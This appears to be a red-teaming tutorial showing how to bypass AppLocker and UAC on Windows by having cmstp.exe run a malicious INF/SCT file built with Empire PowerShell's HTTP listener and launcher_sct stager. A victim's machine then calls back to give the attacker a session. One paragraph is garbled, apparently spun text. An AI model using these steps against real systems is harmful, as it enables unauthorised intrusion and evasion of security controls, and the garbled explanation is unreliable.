Red Teaming

Windows Exploitation: cmstp

By default, Applocker allows the executing of binaries in the folder that is the major reason that it can be bypassed. It has been found that such binaries can easily be used in order to bypass Applocker along with UAC. One of such binary related to Microsoft is CMSTP. CMSTP welcomes INF files and so exploitation through INF is possible. And so, we will be learning how to perform such exploitation.

Non-framework procedures like cmstp.exe start from the programming you introduced to your system. Since most applications store information on your hard drive and in your system’s registry. It has machine code written in it. In the event that you begin the product Microsoft(R), Connection Manager, on your system, the directions contained in cmstp.exe will run on your system. For this reason, the record is stacked into the primary memory (RAM) and keeps running there as a Microsoft Connection Manager Profile Installer process (additionally called an errand). As we all know CMSTP accepts SCT files and runs them without suspicion and therefore we will create a malicious SCT file to reach our goal.  We will use Empire PowerShell for this. For a detailed guide on Empire PowerShell click here.

Launch the empire framework from the terminal of Kali and then type the following commands to create your malware :

uselistener http
set Host

The above commands will create a listener for you, then type back to return from listener interface and as for the creation of SCT file type :

usestager windows/launcher_sct
set Listener HTTP

Running the above exploit will create your SCT file. We will use the following script to execute our file in PowerShell. In this script give the path of your SCT file and add the following line as shown in the image.

Download this script from here:


Now, send the file to the victim’s PC and run the following command in victims’ command prompt :

cmstp.exe /s shell.inf

As soon as you run the command, you will have a session. Use the following command to access your session :

interact <session name>

This way, you can use CMSTP binary to bypass applocker restrictions. CMSTP needs an INF file and by using it to your advantage you can have access to victim’s PC.

AuthorYashika Dhir is a passionate Researcher and Technical Writer at Hacking Articles. She is a hacking enthusiast. contact here